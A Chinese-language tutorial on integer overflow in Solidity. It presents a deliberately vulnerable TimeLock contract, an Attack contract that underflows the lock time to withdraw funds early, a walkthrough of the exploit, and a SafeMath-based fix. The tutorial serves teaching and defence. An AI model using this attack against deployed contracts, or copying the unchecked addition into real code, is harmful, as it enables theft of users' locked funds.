数学溢出攻击演练与防范
一个数字在内存中是有范围的，如果超出这个范围就会溢出，比如 uint256 是无符号的整数，范围是256位，最大的数字范围是 2的256次方减1，最小的范围是 0，如果超过范围是上溢，低于范围是下溢。
(1) 已知 uint256 最大的范围是2的256次方减1，即 2**256-1，如果比这个数大1，发生上溢1，会回到数值0，如果上溢2，会回到数值1，以此类推。
(2) 一个数字小于0，出现下溢，比如 -1 会回到 2**256-1，-2 会回到 2**256-2，以此类似，这个数会是一个巨大的数。
数学溢出攻击的示例代码：https://solidity-by-example.org/hacks/overflow
具体代码
合约 A 的功能是一个时间锁，名称是 TimeLock，有三个函数，第一个函数是存币 deposit，在这个方法里给用户增加完余额后会记录用户的锁定时间，锁定时间是当前时间加上一周。第二个函数是增加锁定时间 increaseLockTime，有一个参数是增加的时间，如果攻击者给出一个小于零的数（负数）造成下溢，此时锁定时间就被减少，而不是增加。第三个函数是取币 withdraw，会判断锁定时间，当前时间必须大于用户的锁定时间才能取币。
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contract TimeLock { mapping(address => uint) public balances; //用户余额 mapping(address => uint) public lockTime; //锁定时间 function deposit() external payable { //存币 balances[msg.sender] += msg.value; //增加余额 lockTime[msg.sender] = block.timestamp + 1 weeks; //增加一周为解锁时间 } function increaseLockTime(uint _secondsToIncrease) public { //增加锁定时间 lockTime[msg.sender] += _secondsToIncrease; //这个加法可能出现溢出 } function withdraw() public { //取币 require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); //判断锁定时间 uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); //转账 require(sent, "Failed to send Ether"); } } |
下面是合约B，名称是 Attack，用于攻击测试，主要是4个函数，deposit 用于存币，withdraw 用于取币，attack 用于攻击，它会调用增加锁定时间的函数，先获取当前合约地址在 TimeLock 合约里的锁定时间，再给这个时间置为负数，实现下溢，一个正数加上他对应的负责等于0，这样实现了修改锁定时间。
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contract Attack { TimeLock timeLock; //时间锁合约地址 constructor(TimeLock _timeLock) { timeLock = TimeLock(_timeLock); } fallback() external payable {} function deposit() public payable{ timeLock.deposit{value: msg.value}(); //存币 } function withdraw() public payable{ timeLock.withdraw(); //取币 } function attack() public payable { timeLock.increaseLockTime( uint(- timeLock.lockTime(address(this))) //负数 ); } function getBalance() public view returns (uint) { return address(this).balance; } } |
演练过程
布署完两个合约之后，Attack 先调用 deposit 存一个币，再使用 withdraw 取币，发现提示错误，因为锁定了一周时间，要一周之后才能取，如下图所示：
可以再看一下在 TimeLock 合约里看到锁定时间为 1657272481，如下图所示：
我们调用 attack 函数增加锁定时间，参数给一个负数，正数减去对应的负数结果为 0，再查看 lockTime 为 0，再点击 withdraw 就可以取币，如下图所示。
防范
为了防止数学溢出，可以使用 OpenZeppelin 里的 SafeMath，再调用加法的时候，使用 add 函数，代码修改如下：
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pragma solidity ^0.7.6; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/math/SafeMath.sol"; contract TimeLock { using SafeMath for uint; function increaseLockTime(uint _secondsToIncrease) public { //增加锁定时间 lockTime[msg.sender] = lockTime[msg.sender].add( _secondsToIncrease); //调用add加法 } //..... } |
这时我们再次尝试攻击，存币后，再取币就会提示溢出，无法完成取币操作，如下图所示：
我们来看一下 SafeMath 里如何实现 add 函数的，代码里可以看出，会验证相加后的结果是否大于或等于原来的数，如果相加的结果反而比原来的小，那说明产生的溢出。
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function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } |
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